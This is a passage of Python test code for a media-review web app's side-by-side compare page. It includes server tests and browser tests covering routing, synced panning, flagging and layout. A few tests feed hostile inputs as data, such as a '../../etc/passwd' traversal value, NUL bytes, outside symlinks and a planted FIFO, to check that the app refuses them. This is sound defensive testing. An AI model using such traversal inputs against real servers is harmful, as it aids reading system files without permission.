film = re.search(r'<nav class="film"[^>]*data-region="film".*?</nav>', body, re.S).group(0)
out = {}
for f in re.findall(r'<a class="film-f[^"]*"[^>]*>.*?</a>', film, re.S):
rel = re.search(r'data-rel="([^"]*)"', f).group(1)
out[rel] = "".join(re.findall(r'<span class="film-ab">([AB]+)</span>', f))
return out
# ---- C1: the route and the pair ----------------------------------------------
def test_compare_renders_the_pair(tmp_path):
"""The tracer: four pictures, #1 against #3. Both names and both ordinals
are printed, and the filmstrip marks #1 A and #3 B."""
_booth(tmp_path, "g", {f"{n}.png": PNG for n in ("p", "q", "r", "s")})
r = _client(tmp_path).get("/b/g/compare?a=p.png&b=r.png")
assert r.status_code == 200
body = r.text
label_a = re.search(r'data-region="label-a".*?</div>', body, re.S).group(0)
label_b = re.search(r'data-region="label-b".*?</div>', body, re.S).group(0)
assert "p.png" in label_a and "#1" in label_a, label_a
assert "r.png" in label_b and "#3" in label_b, label_b
assert _frames(body) == {"p.png": "A", "q.png": "", "r.png": "B", "s.png": ""}
assert list(_frames(body)) == ["p.png", "q.png", "r.png", "s.png"], "the strip is in RING order"
# each side's flag form names its OWN item
for key, rel in (("a", "p.png"), ("b", "r.png")):
form = re.search(r'data-region="flag-%s".*?</form>' % key, body, re.S).group(0)
assert f'name="target" value="{rel}"' in form, (key, form)
def _four(root: pathlib.Path) -> pathlib.Path:
"""Four pictures, a doc, a caption sidecar and a dotfile: every kind of
thing a side can name that is not a side."""
return _booth(root, "g", {"p.png": PNG, "q.png": PNG, "r.png": PNG, "s.png": PNG,
"notes.md": b"# n", "p.png.txt": b"a caption",
".hidden.png": PNG})
def test_a_bad_side_is_a_404(tmp_path):
"""Missing, traversal, a NUL, a dotfile, a doc item, a non-item file: a 404
each, on either side, never a 500."""
_four(tmp_path)
c = _client(tmp_path)
bad = ["", "../g/p.png/..", "../../etc/passwd", "p.png\x00", ".hidden.png",
"notes.md", "p.png.txt", "gone.png", "sub/"]
for rel in bad:
for q in ({"a": rel, "b": "q.png"}, {"a": "q.png", "b": rel}):
r = c.get("/b/g/compare", params=q)
assert r.status_code == 404, (q, r.status_code)
for q in ({"b": "q.png"}, {"a": "q.png"}, {}):
assert c.get("/b/g/compare", params=q).status_code == 404, q
def test_a_missing_param_is_404_not_422(tmp_path):
"""The review declares `f: str` and answers 422 without it; compare
declares both sides with a default and answers 404."""
_four(tmp_path)
r = _client(tmp_path).get("/b/g/compare?a=p.png")
assert r.status_code == 404
def test_an_outside_symlink_in_the_ring_is_404(tmp_path):
"""`booth_items` follows symlinks, so a link pointing OUTSIDE the booth is
in the review ring; only the containment check refuses it."""
from booth.items import booth_items, review_chain
b = _four(tmp_path)
outside = tmp_path / "elsewhere.png"
outside.write_bytes(PNG)
(b / "zz-link.png").symlink_to(outside)
assert "zz-link.png" in review_chain(booth_items(b)), "the fixture must put it in the ring"
# a SIBLING whose name shares the booth's prefix is outside too (the
# containment check compares with the separator, never a bare prefix)
sib = tmp_path / "g-extra"
sib.mkdir()
(sib / "x.png").write_bytes(PNG)
(b / "zz-sib.png").symlink_to(sib / "x.png")
c = _client(tmp_path)
for rel in ("zz-link.png", "zz-sib.png"):
assert c.get(f"/b/g/compare?a={rel}&b=p.png").status_code == 404, rel
assert c.get(f"/b/g/compare?a=p.png&b={rel}").status_code == 404, rel
def test_no_navigation_offers_a_pair_that_404s(tmp_path):
"""An outside symlink stays in the review ring, and compare 404s it. So no
compare link may offer it: not the strip, not a step, not the review's
Compare control, not the JS-off flag landing (heid bug hunt, 3 of 4)."""
b = _booth(tmp_path, "g", {"a.png": PNG, "c.png": PNG})
outside = tmp_path / "elsewhere.png"
outside.write_bytes(PNG)
(b / "b-link.png").symlink_to(outside)
c = _client(tmp_path)
body = c.get("/b/g/compare?a=a.png&b=c.png").text
assert list(_frames(body)) == ["a.png", "c.png"], _frames(body)
for h in _compare_links(body):
q = parse_qs(urlsplit(h).query)
assert "b-link.png" not in (q["a"][0], q["b"][0]), h
assert _step(body, "a-next") == ("c.png", "c.png") # steps over it
assert _compare_href(c.get("/b/g/view?f=a.png").text) == ("a.png", "c.png")
r = c.post("/b/g/flag", data={"target": "a.png", "on": "1", "back": "compare",
"a": "a.png", "b": "b-link.png"})
assert r.headers["location"] == "/b/g/#item-a.png", r.headers["location"]
def test_hostile_booth_names_are_404_not_500(tmp_path):
"""A NUL in the booth segment makes Path.resolve raise ValueError, which
is not an OSError: it must still be a 404 (heid bug hunt, hulda)."""
_four(tmp_path)
c = _client(tmp_path)
for path in ("/b/g%00/compare?a=p.png&b=q.png", "/b/g%00/view?f=p.png", "/b/g%00/"):
assert c.get(path).status_code == 404, path
def test_a_nul_in_a_file_path_is_404_not_500(tmp_path):
"""Compare's stages load their pictures through the raw file route. A NUL
in that path segment raises ValueError from resolve(), which is not an
OSError: still a 404 (heid bug hunt on the race fix, hulda)."""
_four(tmp_path)
c = _client(tmp_path)
for path in ("/b/g/p%00.png", "/b/g/p.png%00?thumb=1", "/b/g/sub%00/p.png?dl=1"):
assert c.get(path).status_code == 404, path
def test_a_planted_fifo_marker_cannot_hang_a_look(tmp_path):
"""Recording a look never costs the page: a FIFO planted at `.viewed` must
not block the open that touches it (heid bug hunt, hulda)."""
import os
import threading
b = _four(tmp_path)
os.mkfifo(b / ".viewed")
got = []
t = threading.Thread(target=lambda: got.append(
_client(tmp_path).get("/b/g/compare?a=p.png&b=q.png").status_code), daemon=True)
t.start()
t.join(10)
assert got == [200], "a planted FIFO held the look open"
def _vanish_after_scan(monkeypatch, name: str, grace: int) -> None:
"""Make `name` stop being a file partway through a request: once
booth_items has scanned the booth, the first `grace` is_file checks of it
still pass and every later one fails — a file deleted or relinked outside
the booth mid-request, between two resolves of the same rel."""
import pathlib as _pl
import booth.app as app_mod
state = {"armed": False, "calls": 0}
real_items, real_is_file = app_mod.booth_items, _pl.Path.is_file
def items(booth):
out = real_items(booth)
state["armed"] = True
return out
def is_file(self):
if state["armed"] and self.name == name:
state["calls"] += 1
if state["calls"] > grace:
return False
return real_is_file(self)
monkeypatch.setattr(app_mod, "booth_items", items)
monkeypatch.setattr(_pl.Path, "is_file", is_file)
def test_a_side_that_vanishes_mid_request_never_500s(tmp_path, monkeypatch):
"""booth-dev's race: each rel must be judged ONCE per request. A side that
passes its check and then vanishes before a second resolve must not reach
a `.index()` that raises — a damaged file costs its own tile, never the
page."""
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG, "r.png": PNG})
_vanish_after_scan(monkeypatch, "p.png", grace=1)
r = _client(tmp_path).get("/b/g/compare?a=p.png&b=q.png")
assert r.status_code in (200, 404), r.status_code
def test_the_review_hides_compare_when_its_item_vanishes_mid_request(tmp_path, monkeypatch):
"""The review checked its item, then the item vanished before the compare
ring was built: the page still renders, without a Compare control (a
compare of it would 404) — never a 500."""
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG})
_vanish_after_scan(monkeypatch, "p.png", grace=0)
r = _client(tmp_path).get("/b/g/view?f=p.png")
assert r.status_code == 200, r.status_code
assert 'class="vbtn vcompare"' not in r.text
def test_a_look_records_both_seen(tmp_path):
"""A compare GET is a look at both sides; a 404 records nothing."""
import json
b = _four(tmp_path)
c = _client(tmp_path)
assert c.get("/b/g/compare?a=p.png&b=gone.png").status_code == 404
assert not (b / ".seen").exists() and not (b / ".viewed").exists()
assert c.get("/b/g/compare?a=q.png&b=s.png").status_code == 200
assert set(json.loads((b / ".seen").read_text())) == {"q.png", "s.png"}
assert (b / ".viewed").exists()
def test_compare_carries_data_booth(tmp_path):
"""Reveal all's script and the head script's reveal restore both read
`data-booth` off <html>, and bail without it."""
_four(tmp_path)
body = _client(tmp_path).get("/b/g/compare?a=p.png&b=q.png").text
assert re.search(r'<html lang="en" data-booth="g">', body)
def test_no_data_region_repeats(tmp_path):
"""The swap keeps the FIRST fresh node per id and copies it over EVERY live
node with that id, so a shared id would turn B's flag into A's. Unique,
keyed by side — including when a == b."""
_four(tmp_path)
c = _client(tmp_path)
for q in ("a=p.png&b=r.png", "a=q.png&b=q.png"):
# attributes only: base.html's script names `[data-region="status"]`
ids = re.findall(r'\sdata-region="([^"]+)"', c.get(f"/b/g/compare?{q}").text)
assert len(ids) == len(set(ids)), (q, ids)
assert {"flag-a", "flag-b", "label-a", "label-b", "film"} <= set(ids), ids
assert not [i for i in ids if i.startswith("item-")], ids
body = c.get("/b/g/compare?a=q.png&b=q.png").text
assert _frames(body)["q.png"] == "AB", "a == b marks the one frame both ways"
def test_a_video_or_track_plays_in_its_own_stage_and_two_get_no_toggle(tmp_path):
"""C4: video and audio play in their own stage; the Fit | 1:1 toggle is
bound only when a side is a picture, so two videos get none."""
_booth(tmp_path, "g", {"a.webm": b"\x1aE\xdf\xa3", "b.mp3": b"ID3", "c.png": PNG})
c = _client(tmp_path)
body = c.get("/b/g/compare?a=a.webm&b=b.mp3").text
assert re.search(r'<video class="cmp-media"[^>]*src="a.webm"', body)
assert re.search(r'<audio class="cmp-media"[^>]*src="b.mp3"', body)
assert 'id="vtoggle"' not in body
assert 'id="vtoggle"' in c.get("/b/g/compare?a=a.webm&b=c.png").text
# ---- C3: stepping --------------------------------------------------------------
def _ring6(root: pathlib.Path) -> pathlib.Path:
"""Six media with a DOC between them: 03-notes.md takes ordinal 3, so an
ordinal is not a ring position."""
return _booth(root, "g", {"01.png": PNG, "02.png": PNG, "03-notes.md": b"# n",
"04.png": PNG, "05.png": PNG, "06.png": PNG, "07.png": PNG})
def _step(body: str, which: str) -> tuple[str, str]:
"""The (a, b) rels a step link targets."""
href = re.search(r'<a [^>]*data-step="%s"[^>]*href="([^"]+)"' % which, body)
href = href or re.search(r'<a [^>]*href="([^"]+)"[^>]*data-step="%s"' % which, body)
q = parse_qs(urlsplit(href.group(1).replace("&amp;", "&")).query)
return q["a"][0], q["b"][0]
def test_linked_steps_keep_the_distance_and_wrap(tmp_path):
"""Ring positions 2 and 5 step forward to (3, 6), then (4, 1) — wrapped —
and back from (1, 4) to (6, 3). Named by rel, never by ordinal."""
_ring6(tmp_path)
c = _client(tmp_path)
body = c.get("/b/g/compare?a=02.png&b=06.png").text
assert _step(body, "both-next") == ("04.png", "07.png")
body = c.get("/b/g/compare?a=04.png&b=07.png").text
assert _step(body, "both-next") == ("05.png", "01.png")
body = c.get("/b/g/compare?a=07.png&b=02.png").text
assert _step(body, "both-next") == ("01.png", "04.png"), "A wraps as B does"
body = c.get("/b/g/compare?a=01.png&b=05.png").text
assert _step(body, "both-prev") == ("07.png", "04.png")
# each side on its own moves only itself, and wraps the same way
assert _step(body, "a-prev") == ("07.png", "05.png")
assert _step(body, "a-next") == ("02.png", "05.png")
assert _step(body, "b-prev") == ("01.png", "04.png")
assert _step(body, "b-next") == ("01.png", "06.png")
def _compare_links(body: str) -> list[str]:
"""Every step and filmstrip href on the page, entity-decoded."""
hrefs = re.findall(r'<a [^>]*(?:data-step="[^"]+"[^>]*href|class="film-f[^"]*"[^>]*href)="([^"]+)"', body)
return [h.replace("&amp;", "&") for h in hrefs]
def test_the_urls_are_keyed_by_rel(tmp_path):
"""Every step and strip link names both sides by rel, url-quoted; none
carries an ordinal or any key beyond the pair and the view state."""
_booth(tmp_path, "g", {"a b.png": PNG, "sub dir/c#d.png": PNG, "e&f.png": PNG})
body = _client(tmp_path).get("/b/g/compare", params={"a": "a b.png", "b": "sub dir/c#d.png"}).text
links = _compare_links(body)
assert len(links) == 6 + 3, links # six steps, three frames
for h in links:
u = urlsplit(h)
assert u.path == "/b/g/compare", h
assert " " not in h and "#" not in u.query.replace("%23", ""), h
q = parse_qs(u.query)
assert set(q) == {"a", "b"}, h
assert all(v in ("a b.png", "sub dir/c#d.png", "e&f.png") for v in (q["a"][0], q["b"][0])), h
def test_view_state_rides_the_links(tmp_path):
"""`side=a&link=0` rides every step and strip link; an unknown value reads
as the default (B active, linked) and is never an error."""
_four(tmp_path)
c = _client(tmp_path)
body = c.get("/b/g/compare?a=p.png&b=r.png&side=a&link=0").text
links = _compare_links(body)
assert links and all(h.endswith("&side=a&link=0") for h in links), links
assert 'class="cmp-side is-active" data-side="a"' in body
# with A active a frame replaces A, keeping B
frame = re.search(r'<a class="film-f[^"]*"\s+href="([^"]+)" data-rel="q.png"', body).group(1)
assert parse_qs(urlsplit(frame.replace("&amp;", "&")).query) == {
"a": ["q.png"], "b": ["r.png"], "side": ["a"], "link": ["0"]}
links = _compare_links(c.get("/b/g/compare?a=p.png&b=r.png&link=0").text)
assert links and all(h.endswith("&link=0") and "side=" not in h for h in links), links
for odd in ("side=z&link=maybe", "side=A&link=00", "side=&link="):
r = c.get(f"/b/g/compare?a=p.png&b=r.png&{odd}")
assert r.status_code == 200, odd
links = _compare_links(r.text)
assert all(set(parse_qs(urlsplit(h).query)) == {"a", "b"} for h in links), (odd, links)
assert 'class="cmp-side is-active" data-side="b"' in r.text, odd
assert 'data-linked="1"' in r.text, odd
# ---- C5: judging without JS -----------------------------------------------------
def _flag(c: TestClient, form: dict, accept: str | None = None):
headers = {"accept": accept} if accept else {}
r = c.post("/b/g/flag", data={"target": "q.png", "on": "1", **form}, headers=headers)
assert r.status_code == (204 if accept else 303), (form, r.status_code)
return r
def test_a_flag_without_js_lands_on_the_same_pair(tmp_path):
"""`back=compare` lands on exactly the pair, built from the checked rels,
with the view state mapped from a closed set and never echoed, and no
fragment. Anything outside the ring takes the no-`back` landing; the
in-place answer is the 204 it always was."""
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG, "sub dir/r s.png": PNG, "n.md": b"# n"})
c = _client(tmp_path)
pair = {"back": "compare", "a": "p.png", "b": "sub dir/r s.png"}
want = "/b/g/compare?a=p.png&b=sub%20dir/r%20s.png"
r = _flag(c, pair)
assert r.status_code == 303 and r.headers["location"] == want
assert _flag(c, {**pair, "side": "a", "link": "0"}).headers["location"] == want + "&side=a&link=0"
assert _flag(c, {**pair, "link": "0"}).headers["location"] == want + "&link=0"
for odd in ({"side": "A"}, {"link": "00"}, {"side": "b", "link": "1"},
{"side": "a#x", "link": "0&side=a"}):
assert _flag(c, {**pair, **odd}).headers["location"] == want, odd
no_back = _flag(c, {"target": "q.png"}).headers["location"]
assert no_back == "/b/g/#item-q.png"
for bad in ({"a": "n.md"}, {"b": "gone.png"}, {"a": "../g/p.png"}, {"b": ""}):
assert _flag(c, {**pair, **bad}).headers["location"] == no_back, bad
r = _flag(c, pair, accept="application/json")
assert r.status_code == 204 and "location" not in r.headers
def test_every_other_landing_is_byte_identical(tmp_path):
"""R2 INV-4: `back=view`, `back=marks` and no `back` land exactly where they
did before compare existed."""
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG})
c = _client(tmp_path)
assert _flag(c, {}).headers["location"] == "/b/g/#item-q.png"
assert _flag(c, {"back": "marks"}).headers["location"] == "/b/g/marks#item-q.png"
assert _flag(c, {"back": "view", "f": "p.png"}).headers["location"] == "/b/g/view?f=p.png#rail"
assert _flag(c, {"back": "view", "f": "gone.png"}).headers["location"] == "/b/g/#item-q.png"
assert _flag(c, {"back": "Compare", "a": "p.png", "b": "q.png"}).headers["location"] == "/b/g/#item-q.png"
# ---- C2: picking from the review ------------------------------------------------
def _compare_href(body: str) -> tuple[str, str]:
href = re.search(r'<a class="vbtn vcompare"[^>]*href="([^"]+)"', body).group(1)
u = urlsplit(href.replace("&amp;", "&"))
assert u.path == "/b/g/compare", href
q = parse_qs(u.query)
assert set(q) == {"a", "b"}, href
return q["a"][0], q["b"][0]
def test_the_review_offers_compare_with_the_next_item(tmp_path):
"""The review's Compare control opens this item against the NEXT media item
in the ring — skipping the doc — and the last wraps to the first. A ring of
one compares the item with itself."""
_ring6(tmp_path)
c = _client(tmp_path)
assert _compare_href(c.get("/b/g/view?f=02.png").text) == ("02.png", "04.png")
assert _compare_href(c.get("/b/g/view?f=07.png").text) == ("07.png", "01.png")
_booth(tmp_path, "one", {"only.png": PNG, "n.md": b"# n"})
body = c.get("/b/one/view?f=only.png").text
href = re.search(r'<a class="vbtn vcompare"[^>]*href="([^"]+)"', body).group(1)
assert href.replace("&amp;", "&") == "/b/one/compare?a=only.png&b=only.png"
# a doc's own page is not a review, and offers no compare
assert 'class="vbtn vcompare"' not in c.get("/b/g/view?f=03-notes.md").text
+523
View File
@@ -0,0 +1,523 @@
"""R3 — compare, in a real DOM.
Contract: docs/contracts/r3_compare.contract.md. A TestClient can prove what
the server answers; it cannot prove that two stages sit side by side, that a
pan on one lands the other on the same crop, or that an in-place save keeps
the active side. The harness is test_flow_browser's (a real uvicorn, a real
offline Chromium), and like it this SKIPS, never fails, without a browser.
"""
import pathlib
import sys
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
from test_flow_browser import _png, browser, live # noqa: E402,F401 (fixtures)
def _pics(root: pathlib.Path, pics: dict, name: str = "g") -> pathlib.Path:
b = root / name
b.mkdir()
for rel, (w, h) in pics.items():
p = b / rel
p.parent.mkdir(parents=True, exist_ok=True)
p.write_bytes(_png(w, h))
return b
def _open(page, url):
"""Load a compare page and wait until every picture on a stage decoded."""
page.goto(url, wait_until="networkidle")
page.wait_for_function("""[...document.querySelectorAll('.cmp-side .vstage img')]
.every(i => i.complete && i.naturalWidth > 0)""")
page.wait_for_timeout(150)
_BOXES = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s => {
const b = s.getBoundingClientRect();
return {side: s.dataset.side, l: b.left, r: b.right, t: b.top, b: b.bottom, h: b.height};
})"""
def test_two_stages_side_by_side_wide_and_stacked_narrow(browser, live):
"""The tracer. Above 900px A and B share one row, A on the left, each
exactly half the body — the SAME width, so equal pictures have equal
ranges. At 900px and below (the review's break) they stack, A above B,
each at most 45vh tall."""
base, root = live
from booth.app import set_blurred
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
(b / "a.png.txt").write_text("a caption on A only, " * 8)
set_blurred(b, "b.png", True) # the bar carries Reveal all too: its fullest
got = {}
for w, h in ((1440, 900), (901, 800), (900, 800), (390, 844)):
page = browser.new_page(viewport={"width": w, "height": h})
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
got[w] = (page.evaluate(_BOXES), h,
page.evaluate("document.documentElement.scrollWidth - document.documentElement.clientWidth"),
# and nothing squeezed: every top-bar control one line, none
# crushed narrower than its own content (a flex item shrinks
# before it overflows — the Fit | 1:1 toggle went to 2px)
page.evaluate("""() => { const c = [...document.querySelectorAll(
'.vbar button, .vbar .vbtn, .vbar .vtoggle')].filter(e => e.offsetParent);
return [Math.max(...c.map(e => e.getBoundingClientRect().height)),
Math.max(...c.map(e => e.scrollWidth - e.clientWidth))]; }"""))
page.close()
(a, b), _, over, tallest = got[1440]
assert (a["side"], b["side"]) == ("a", "b")
assert abs(a["t"] - b["t"]) <= 1 and a["r"] <= b["l"], (a, b)
assert a["r"] - a["l"] > 1440 * 0.4 and b["r"] - b["l"] > 1440 * 0.4, (a, b)
# the SAME stage for both, or Fit draws one smaller: A's caption must not
# take its height from A's stage alone
assert abs(a["h"] - b["h"]) <= 1 and abs(a["b"] - b["b"]) <= 1, (a, b)
# ...and the same width: a separator must not come out of one side alone
assert abs((a["r"] - a["l"]) - (b["r"] - b["l"])) <= 0.5, (a, b)
assert over <= 0 and tallest[0] <= 40 and tallest[1] <= 1, (over, tallest)
(a, b), _, _, _ = got[901]
assert abs(a["t"] - b["t"]) <= 1 and a["r"] <= b["l"], ("side by side at 901", a, b)
(a, b), _, _, _ = got[900]
assert a["b"] <= b["t"], ("stacked at 900", a, b)
(a, b), vh, over, tallest = got[390]
assert a["b"] <= b["t"], ("A above B", a, b)
assert a["h"] <= 0.45 * vh + 1 and b["h"] <= 0.45 * vh + 1, (a, b)
assert a["h"] > 100 and b["h"] > 100, (a, b)
assert over <= 0, "the compare page scrolls sideways at phone width"
assert tallest[0] <= 40, ("a top-bar control squeezed into a stack", tallest)
assert tallest[1] <= 1, ("a top-bar control crushed narrower than its content", tallest)
_IMGS = """() => [...document.querySelectorAll('.cmp-side .vstage img')].map(i => {
const b = i.getBoundingClientRect();
return [Math.round(b.width), Math.round(b.height), i.naturalWidth, i.naturalHeight];
})"""
def test_one_mode_for_both_and_for_the_review(browser, live):
"""`Z` switches BOTH stages to 1:1 and stores it as the review's own
preference: the review then opens in 1:1, and Z back is Fit for both."""
base, root = live
_pics(root, {"a.png": (1600, 1200), "b.png": (1400, 1000)})
ctx = browser.new_context(viewport={"width": 1440, "height": 900})
page = ctx.new_page()
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
fit = page.evaluate(_IMGS)
page.keyboard.press("z")
page.wait_for_timeout(150)
one = page.evaluate(_IMGS)
# both larger than their stages, so both offer the grab at once — not at
# the next resize
grab = page.evaluate("[...document.querySelectorAll('.cmp-side .vstage')].map(s => getComputedStyle(s).cursor)")
stored = page.evaluate("localStorage.getItem('booth.fit')")
pressed = page.locator("#btn-one").get_attribute("aria-pressed")
page.goto(f"{base}/b/g/view?f=a.png", wait_until="networkidle")
page.wait_for_function("document.getElementById('vimg').complete && document.getElementById('vimg').naturalWidth > 0")
review_one = page.evaluate("""() => { const i = document.getElementById('vimg'), b = i.getBoundingClientRect();
return document.documentElement.classList.contains('stage-one') &&
Math.round(b.width) === i.naturalWidth && Math.round(b.height) === i.naturalHeight; }""")
page.goto(f"{base}/b/g/compare?a=a.png&b=b.png", wait_until="networkidle")
page.keyboard.press("Z")
back = page.evaluate("[document.documentElement.classList.contains('stage-one'), localStorage.getItem('booth.fit')]")
ctx.close()
assert all([w, h] != [nw, nh] for w, h, nw, nh in fit), fit
assert all([w, h] == [nw, nh] for w, h, nw, nh in one), one
assert grab == ["grab", "grab"], grab
assert stored == "one" and pressed == "true" and review_one is True, (stored, pressed, review_one)
assert back == [False, None], back
_SCROLLS = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s => [s.scrollLeft, s.scrollTop])"""
def _one_to_one(page, url):
"""Open a compare in 1:1 (the stored preference, applied before paint)."""
page.add_init_script("try { localStorage.setItem('booth.fit', 'one'); } catch (e) {}")
_open(page, url)
def _center(page, side):
box = page.locator(f'.cmp-side[data-side="{side}"] .vstage').bounding_box()
return box["x"] + box["width"] / 2, box["y"] + box["height"] / 2
def test_synced_pan_lands_on_the_same_crop(browser, live):
"""Two pictures of one size, larger than the stage, in 1:1. A drag on A of
(+80, +60) scrolls BOTH by (-80, -60): the same pixels under the same
point. A wheel on B moves A with it. After a second of idle neither has
moved on its own (no sync loop)."""
base, root = live
_pics(root, {"a.png": (3000, 3000), "b.png": (3000, 3000)})
page = browser.new_page(viewport={"width": 1440, "height": 900})
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
page.evaluate("document.querySelector('.cmp-side[data-side=\"a\"] .vstage').scrollTo(500, 500)")
page.wait_for_timeout(200)
start = page.evaluate(_SCROLLS)
cx, cy = _center(page, "a")
page.mouse.move(cx, cy); page.mouse.down(); page.mouse.move(cx + 80, cy + 60, steps=6); page.mouse.up()
page.wait_for_timeout(200)
dragged = page.evaluate(_SCROLLS)
bx, by = _center(page, "b")
page.mouse.move(bx, by)
page.mouse.wheel(0, 300)
page.wait_for_timeout(600)
wheeled = page.evaluate(_SCROLLS)
page.wait_for_timeout(1000)
idle = page.evaluate(_SCROLLS)
page.close()
assert start == [[500, 500], [500, 500]], start
assert dragged == [[420, 440], [420, 440]], dragged
assert wheeled[1][1] > 440 and wheeled[0] == wheeled[1], wheeled
assert idle == wheeled, (wheeled, idle)
_RANGES = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s =>
[s.scrollWidth - s.clientWidth, s.scrollHeight - s.clientHeight])"""
# The first y near `from` on B whose trip B -> A -> B does not come back to
# itself when each scroll lands on a whole pixel: where a sync that re-synced
# its own echo would walk B off the spot it was put on.
_LOSSY = """([from, rA, rB]) => {
for (let y = from; y < from + 200; y++)
if (Math.round(Math.round(y / rB * rA) / rA * rB) !== y) return y;
return from;
}"""
def test_synced_pan_by_fraction_for_different_sizes(browser, live):
"""A 2000px and a 3000px picture. One at its middle puts the other at ITS
middle; one at 25% of its range puts the other at 25% of ITS range — not
at the same pixel offset. The equal-size test cannot see a fraction bug
(equal overflow makes offsets and fractions coincide); this one can. And a
side put somewhere STAYS there: the sync never echoes back and walks it."""
base, root = live
_pics(root, {"a.png": (2000, 2000), "b.png": (3000, 3000)})
page = browser.new_page(viewport={"width": 1440, "height": 900})
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
(rax, ray), (rbx, rby) = page.evaluate(_RANGES)
a = '.cmp-side[data-side="a"] .vstage'
b = '.cmp-side[data-side="b"] .vstage'
page.evaluate("([s, x, y]) => document.querySelector(s).scrollTo(x, y)", [a, round(rax / 2), round(ray / 2)])
page.wait_for_timeout(250)
middle = page.evaluate(_SCROLLS)
y = page.evaluate(_LOSSY, [round(rby / 4), ray, rby])
x = page.evaluate(_LOSSY, [round(rbx / 4), rax, rbx])
page.evaluate("([s, x, y]) => document.querySelector(s).scrollTo(x, y)", [b, x, y])
page.wait_for_timeout(250)
quarter = page.evaluate(_SCROLLS)
page.wait_for_timeout(1000)
idle = page.evaluate(_SCROLLS)
page.close()
assert rbx > rax > 0 and rby > ray > 0, (rax, ray, rbx, rby)
assert abs(middle[1][0] - rbx / 2) <= 1 and abs(middle[1][1] - rby / 2) <= 1, (middle, rbx, rby)
assert abs(quarter[0][0] / rax - x / rbx) * rax <= 1, (quarter, x)
assert abs(quarter[0][1] / ray - y / rby) * ray <= 1, (quarter, y)
assert quarter[0][0] < x - 100, "A must sit at ITS 25%, not at B's pixel offset"
assert quarter[1] == [x, y] and idle == quarter, (x, y, quarter, idle)
def test_an_axis_with_nothing_to_scroll_is_ignored(browser, live):
"""A side with nothing to scroll on an axis ignores that axis, each axis
on its own. A is wide and short (it scrolls across only), B is large. B
scrolled down stays down when A pans across: B's x follows, B's y is B's."""
base, root = live
_pics(root, {"a.png": (3000, 200), "b.png": (3000, 3000)})
page = browser.new_page(viewport={"width": 1440, "height": 900})
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
(rax, ray), (rbx, rby) = page.evaluate(_RANGES)
page.evaluate("document.querySelector('.cmp-side[data-side=\"b\"] .vstage').scrollTo(0, 500)")
page.wait_for_timeout(250)
down = page.evaluate(_SCROLLS)
page.evaluate("document.querySelector('.cmp-side[data-side=\"a\"] .vstage').scrollTo(800, 0)")
page.wait_for_timeout(250)
across = page.evaluate(_SCROLLS)
page.close()
assert ray == 0 and rax > 0 and rby > 0, (rax, ray, rbx, rby)
assert down == [[0, 0], [0, 500]], down
assert across[0] == [800, 0], across
assert abs(across[1][0] - 800 / rax * rbx) <= 1 and across[1][1] == 500, across
def test_a_flags_A_in_place_and_the_stages_survive(browser, live):
"""`A` flags A in place: no navigation, A's control and label show the
flag, B's do not, and both stages are the SAME nodes — a save swaps the
regions and never a stage (a playing track would restart)."""
from booth.marks import marks_for
base, root = live
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
page = browser.new_page(viewport={"width": 1440, "height": 900})
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
page.evaluate("""() => { window.__noReload = 1;
window.__stages = [...document.querySelectorAll('.cmp-side .vstage')]; }""")
page.keyboard.press("a")
page.wait_for_selector("#cmp-flag-a.is-flagged", timeout=10000)
got = page.evaluate("""() => ({
reload: window.__noReload !== 1,
same: [...document.querySelectorAll('.cmp-side .vstage')].every((s, i) => s === window.__stages[i]),
a: document.querySelector('[data-region="label-a"]').textContent,
b: document.querySelector('[data-region="label-b"]').textContent,
bflag: document.getElementById('cmp-flag-b').classList.contains('is-flagged'),
strip: [...document.querySelectorAll('.film-f.is-flagged')].map(f => f.dataset.rel),
})""")
flagged = [m.target for m in marks_for(b) if m.shape == "flag"]
# the save REPLACED the buttons: each key must find the fresh one
page.keyboard.press("b")
page.wait_for_selector("#cmp-flag-b.is-flagged", timeout=10000)
page.keyboard.press("a")
page.wait_for_selector("#cmp-flag-a:not(.is-flagged)", timeout=10000)
after = sorted(m.target for m in marks_for(b) if m.shape == "flag")
reloaded = page.evaluate("window.__noReload !== 1")
page.close()
assert not got["reload"] and got["same"], got
assert "flagged" in got["a"] and "flagged" not in got["b"] and not got["bflag"], got
assert got["strip"] == ["a.png"], got
assert flagged == ["a.png"] and after == ["b.png"] and not reloaded, (flagged, after, reloaded)
def _bakeoff(root: pathlib.Path) -> pathlib.Path:
"""sindra-bakeoff's shape: two lanes, m and r, the same scenes and seeds,
laid out as two parallel runs in sorted order — no pairing rule needed."""
scenes = ("dock-s11", "forge-s23", "marsh-s37", "tower-s42")
return _pics(root, {f"{lane}-{i}-{sc}.png": (400, 300)
for lane in ("m", "r") for i, sc in enumerate(scenes, 1)})
def _pair(page) -> tuple[str, str]:
from urllib.parse import parse_qs, urlsplit
q = parse_qs(urlsplit(page.url).query)
return q["a"][0], q["b"][0]
def _press_and_wait(page, key):
with page.expect_navigation(wait_until="networkidle"):
page.keyboard.press(key)
def test_linked_arrow_walks_a_bakeoff(browser, live):
"""m#1 against r#1, then `→` three times: every pair is the same scene and
seed in the two lanes."""
base, root = live
_bakeoff(root)
page = browser.new_page(viewport={"width": 1440, "height": 900})
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
pairs = [_pair(page)]
for _ in range(3):
_press_and_wait(page, "ArrowRight")
pairs.append(_pair(page))
page.close()
# every pair, in order: no pair skipped and none repeated
scenes = ("dock-s11", "forge-s23", "marsh-s37", "tower-s42")
assert pairs == [(f"m-{i}-{sc}.png", f"r-{i}-{sc}.png") for i, sc in enumerate(scenes, 1)], pairs
def test_unlinked_moves_only_the_active_side_and_the_strip_picks_it(browser, live):
